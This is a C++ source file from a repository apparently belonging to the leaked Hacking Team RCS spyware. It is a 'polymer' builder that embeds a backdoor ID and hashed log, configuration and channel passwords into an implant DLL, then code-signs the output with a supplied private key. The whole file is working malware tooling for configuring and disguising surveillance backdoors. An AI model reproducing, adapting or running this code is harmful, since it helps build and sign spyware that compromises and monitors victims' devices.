hackedteam/vector-dropper

View on GitHub
RCSMPolymer/RCSWinMoPolymer.cpp

Summary

Maintainability
Test Coverage


#include "stdafx.h"
#include <Windows.h>
#include <openssl\md5.h>
#include "peutils.h"
#include "polymer.h"

bool EmbedConfig(BYTE *pBlockPtr, UINT iLen, BYTE *block, UINT block_len, BYTE *mark_b, UINT mark_len);
extern BOOL SignMobileComponent(TCHAR *wsFile, TCHAR *wsCert);

int _tmain(int argc, _TCHAR* argv[])
{
    HANDLE hFile;
    BYTE *pBlockPtr    = NULL;
    CHAR szBackdoorId[256];
    CHAR szLogPassword[256];
    CHAR szConfPassword[256];
    CHAR szChanPassword[256];
    WCHAR wsPFXFile[MAX_PATH];
    WCHAR wsDllFile[MAX_PATH];
    WCHAR wsOutFile[MAX_PATH];
    unsigned int iLen = 0;

    if (argc != 8) {
        printf("ERROR: \n");
        printf("  usage:  RCSWinMoPolymer.exe  <bid> <log_pass> <conf_pass> <chanpass> <pfx> <dll> <output>\n\n");
        printf("  <bid> is the backdoor_id\n");
        printf("  <log_pass> is the password for the log encryption\n");
        printf("  <conf_pass> is the password for the conf encryption\n");
        printf("  <chanpass> is the password for the channel encryption\n");
        printf("  <pfx> is the private key for the signing process\n");
        printf("  <dll> is the dll to be polymerized\n");
        printf("  <output> is the output file\n\n");
        return 0;
    }

    ZeroMemory(szBackdoorId, sizeof(szBackdoorId));
    ZeroMemory(szLogPassword, sizeof(szLogPassword));
    ZeroMemory(szConfPassword, sizeof(szConfPassword));
    ZeroMemory(szChanPassword, sizeof(szChanPassword));

    sprintf_s(szBackdoorId, sizeof(szBackdoorId), "%S", argv[1]);
    sprintf_s(szLogPassword, sizeof(szLogPassword), "%S", argv[2]);
    sprintf_s(szConfPassword, sizeof(szConfPassword), "%S", argv[3]);
    sprintf_s(szChanPassword, sizeof(szChanPassword), "%S", argv[4]);

    wsprintf(wsPFXFile, L"%s", argv[5]);
    wsprintf(wsDllFile, L"%s", argv[6]);
    wsprintf(wsOutFile, L"%s", argv[7]);

    /************************************************************************/
    /*  SANITY CHECKS                                                       */
    /************************************************************************/
    if (strlen(szBackdoorId) < strlen("RCS_0000000000")) {
        printf("Backdoor_id should be at least %d characters\n", strlen("RCS_0000000000"));
        return ERROR_EMBEDDING;
    }

    if (strlen(szLogPassword) < AES_PASS_LEN) {
        printf("Log Password should be at least %d characters\n", AES_PASS_LEN);
        return ERROR_EMBEDDING;
    }

    if (strlen(szConfPassword) < AES_PASS_LEN) {
        printf("Conf Password should be at least %d characters\n", AES_PASS_LEN);
        return ERROR_EMBEDDING;
    }

    if (strlen(szChanPassword) < CHAN_PASS_LEN) {
        printf("Channel password should be at least %d characters\n", CHAN_PASS_LEN);
        return ERROR_EMBEDDING;
    }

    if ( (hFile = CreateFile(wsPFXFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE ) {
        printf("Cannot find FPX file [%S]\n", wsPFXFile);
        return ERROR_EMBEDDING;
    } else {
        DWORD len = GetFileSize(hFile, NULL);
        //if (len < PEM_KEY_LEN) {
        //    printf("Bad certificate file len [%S]\n", wsCertFile);
        //    return ERROR_EMBEDDING;
        //}
        CloseHandle(hFile);
    }

    /************************************************************************/
    /*  READY TO GO                                                         */
    /************************************************************************/

    printf("Ready to go...\n");
    printf("BACKDOOR_ID   [%s]\n", szBackdoorId);
    printf("LOG PASSWORD  [%s]\n", szLogPassword);
    printf("CONF PASSWORD [%s]\n", szConfPassword);
    printf("CHAN PASSWORD [%s]\n", szChanPassword);
    printf("PFXFILE       [%S]\n", wsPFXFile);
    printf("INPUT DLL     [%S]\n", wsDllFile);
    printf("OUTPUT DLL    [%S]\n\n", wsOutFile);

    if (CopyFile(wsDllFile, wsOutFile, FALSE) == FALSE) {
        printf("Cannot create output file[%S]\n", wsOutFile);
        return ERROR_OUTPUT;
    }

    /************************************************************************/
    /* BINARY PATCHING                                                      */
    /************************************************************************/

    BYTE bufmd5[MD5_DIGEST_LENGTH];

    pBlockPtr = (BYTE *) LoadPE(wsOutFile, &iLen);

    // Patching Passwod dei log
    MD5((const UCHAR *)szLogPassword, strlen(szLogPassword) , (PUCHAR) bufmd5);
    if (EmbedConfig(pBlockPtr, iLen, (BYTE *) bufmd5, AES_PASS_LEN, AES_LOG_PASS_MARK, AES_PASS_MARK_LEN))
        printf("Password embedded... ok\n");
    else {
        printf("Cannot embed Log Password [%S]\n", wsOutFile);
        DeleteFile(wsOutFile);
        return ERROR_EMBEDDING;
    }

    // Patching Passwod della conf
    MD5((const UCHAR *)szConfPassword, strlen(szConfPassword) , (PUCHAR) bufmd5);
    if (EmbedConfig(pBlockPtr, iLen, (BYTE *) bufmd5, AES_PASS_LEN, AES_CONF_PASS_MARK, AES_PASS_MARK_LEN))
        printf("Password embedded... ok\n");
    else {
        printf("Cannot embed Conf Password [%S]\n", wsOutFile);
        DeleteFile(wsOutFile);
        return ERROR_EMBEDDING;
    }

    // Patching Passwod del protocollo
    MD5((const UCHAR *)szChanPassword, strlen(szChanPassword) , (PUCHAR) bufmd5);
    if (EmbedConfig(pBlockPtr, iLen, (BYTE *) bufmd5, CHAN_PASS_LEN, CHAN_PASS_MARK, CHAN_PASS_MARK_LEN))
        printf("Channel Password embedded... ok\n");
    else {
        printf("Cannot embed Channel Password [%S]\n", wsOutFile);
        DeleteFile(wsOutFile);
        return ERROR_EMBEDDING;
    }

    // Patching  backdoor ID
    if (EmbedConfig(pBlockPtr, iLen, (BYTE *) szBackdoorId, BACKDOOR_ID_LEN, BACKDOOR_ID_MARK, BACKDOOR_ID_LEN))
        printf("Backdoor_id embedded... ok\n");
    else {
        printf("Cannot embed Backdoor_id [%S]\n", wsOutFile);
        DeleteFile(wsOutFile);
        return ERROR_EMBEDDING;
    }

    // Patching nome file configurazione
    if (EmbedConfig(pBlockPtr, iLen, (BYTE *) CONFIG_FILENAME, wcslen(CONFIG_FILENAME) * sizeof(WCHAR), CONFIG_NAME_MARK, CONFIG_NAME_MARK_LEN))
        printf("Config name embedded... ok\n");
    else {
        printf("Cannot embed Config Name [%S]\n", wsOutFile);
        DeleteFile(wsOutFile);
        return ERROR_EMBEDDING;
    }

    UnloadPE(pBlockPtr);

    /************************************************************************/
    /* SIGNING                                                              */
    /************************************************************************/
    

    if (SignMobileComponent(wsOutFile, wsPFXFile))
        printf("Using PFX to sign code... ok\n");
    else {
        printf("Cannot sign with PFX file [%S]\n", wsPFXFile);
        DeleteFile(wsOutFile);
        return ERROR_EMBEDDING;
    }


    printf("Output file... ok\n");


    return ERROR_SUCCESS;
}


bool EmbedConfig(BYTE *pBlockPtr, UINT iLen, BYTE *block, UINT block_len, BYTE *mark_b, UINT mark_len)
{
    BYTE *pDataSect    = NULL;
    bool iRet = false;

    pDataSect = pBlockPtr;

    if( pBlockPtr == NULL )
        return false;

    __try {
        while(  pBlockPtr < (pDataSect + iLen) ) {

            if( !memcmp(pBlockPtr,mark_b, mark_len) )
                break;
            else
                pBlockPtr++;
        }
    } __except (GetExceptionCode() == EXCEPTION_ACCESS_VIOLATION ) {
        pBlockPtr = NULL;
    }

    if( pBlockPtr  && (pBlockPtr < ( pDataSect + iLen - 1 ) )   ) {

        memset(pBlockPtr, 0, (int)mark_len);
        memcpy(pBlockPtr, block, (int)block_len);

        iRet = true;

    } else 
        iRet = false;

    return iRet;
}